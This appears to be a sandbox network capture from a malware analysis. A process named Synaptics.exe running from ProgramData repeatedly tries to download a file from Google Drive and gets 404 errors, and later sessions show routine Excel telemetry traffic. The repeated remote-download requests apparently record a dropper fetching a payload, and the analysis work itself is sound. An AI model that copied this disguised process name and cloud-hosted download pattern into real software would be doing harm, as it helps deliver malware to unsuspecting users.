2024-08-22 11:11:09 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:11:09 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-2gEk-7Tnv0Ikrg4v7j9ygA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.8	49913	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:11:09 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:11:09 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:11:09 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-lUJeQNi-dJFxTFuEvGt-Hg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.8	49914	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:11:09 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:11:09 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:11:09 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-v2H-OX38Z5LzR9l4N4TsNg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nODdgCV4WehhFqQ-6-0zbyFjfveUnpY0wuQz8qxDdRO6IBSfvwu5Etq7mWgcZynq4Fi2cI Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:11:09 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-08-22 11:11:09 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4e 4f 32 4b 36 44 6f 35 45 63 45 66 71 30 65 4d 46 31 6b 67 67 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="NO2K6Do5EcEfq0eMF1kggQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-22 11:11:09 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.8	49917	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:11:10 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:11:10 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:11:10 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-gjRmeNj5L6QYWzbnMasAJA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1642 X-GUploader-UploadID: AHxI1nN6lwisGfRkwjMpRXtH-_bHHgtkbWDmo-UtvKz0CU8yr3XXhhzjb4_5NAdcJe5Ek59lERLJRi7asA Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:11:10 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-08-22 11:11:10 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 79 44 71 5a 72 54 43 75 56 78 7a 44 45 58 64 5a 39 78 72 4b 6e 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="yDqZrTCuVxzDEXdZ9xrKnw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-08-22 11:11:10 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.8	49918	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:11:10 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:11:10 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:11:10 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-xpflAS_WVUKf3i5Ilg5RFw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.8	49916	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:11:10 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:11:10 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:11:10 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-LnIBC30vDNYeH8Y-vzj1rw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.8	49919	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:11:10 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:11:10 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:11:10 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-gxq9gEXZGhPQEVJIS_z3Cg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nM9vSKfKFztnfko8e8h1g97MiR5YC6JmKf6WVgnVfMXAaQys44Xw2OpIpPhAernTaDiEYA Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:11:10 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-08-22 11:11:10 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 45 2d 73 4d 79 2d 6a 71 65 38 5f 4a 45 53 62 34 78 6a 64 66 42 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="E-sMy-jqe8_JESb4xjdfBA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-22 11:11:10 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.8	49931	13.107.253.67	443	8076	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:11:28 UTC	206	OUT	GET /rules/rule63067v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-08-22 11:11:29 UTC	591	IN	HTTP/1.1 200 OK Date: Thu, 22 Aug 2024 11:11:28 GMT Content-Type: text/xml Content-Length: 2871 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:05 GMT ETag: "0x8DC582BEC5E84E0" x-ms-request-id: c07e09cf-c01e-0059-019d-f3694f000000 x-ms-version: 2018-03-28 x-azure-ref: 20240822T111128Z-179f6cc58c68bvgvp3b89vrm1s00000006q0000000007gxz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-08-22 11:11:29 UTC	2871	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 36 33 30 36 37 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 49 64 65 6e 74 69 74 79 2e 53 73 70 69 50 72 6f 6d 70 74 57 69 6e 33 32 22 20 41 54 54 3d 22 35 63 36 35 62 62 63 34 65 64 62 66 34 38 30 64 39 36 33 37 61 63 65 30 34 64 36 32 62 64 39 38 2d 31 32 38 34 34 38 39 33 2d 38 61 62 39 2d 34 64 64 65 2d 62 38 35 30 2d 35 36 31 32 63 62 31 32 65 30 66 32 2d 37 38 32 32 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="63067" V="4" DC="SM" EN="Office.Identity.SspiPromptWin32" ATT="5c65bbc4edbf480d9637ace04d62bd98-12844893-8ab9-4dde-b850-5612cb12e0f2-7822" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <S>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.8	49930	13.107.253.67	443	8076	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:11:28 UTC	208	OUT	GET /rules/rule170012v12s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-08-22 11:11:29 UTC	591	IN	HTTP/1.1 200 OK Date: Thu, 22 Aug 2024 11:11:28 GMT Content-Type: text/xml Content-Length: 1353 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Sat, 25 May 2024 18:28:18 GMT ETag: "0x8DC7CE8734A2850" x-ms-request-id: b895b885-d01e-0027-59af-eff908000000 x-ms-version: 2018-03-28 x-azure-ref: 20240822T111128Z-179f6cc58c67lwgxt18fn2hn9s000000082g000000005w4q x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-08-22 11:11:29 UTC	1353	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 37 30 30 31 32 22 20 56 3d 22 31 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 47 72 61 70 68 69 63 73 2e 47 56 69 7a 49 6e 6b 53 74 72 6f 6b 65 22 20 41 54 54 3d 22 63 66 63 66 64 62 39 31 63 36 38 63 34 33 32 39 62 62 38 62 37 63 62 37 62 61 62 62 33 63 66 37 2d 65 30 38 32 63 32 66 32 2d 65 66 31 64 2d 34 32 37 61 2d 61 63 34 64 2d 62 30 62 37 30 30 61 66 65 37 61 37 2d 37 36 35 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="170012" V="12" DC="SM" EN="Office.Graphics.GVizInkStroke" ATT="cfcfdb91c68c4329bb8b7cb7babb3cf7-e082c2f2-ef1d-427a-ac4d-b0b700afe7a7-7655" SP="CriticalBusinessImpact" DCa="PSU" xmlns=""> <S> <UTS T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.8	49934	13.107.253.67	443	8076	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

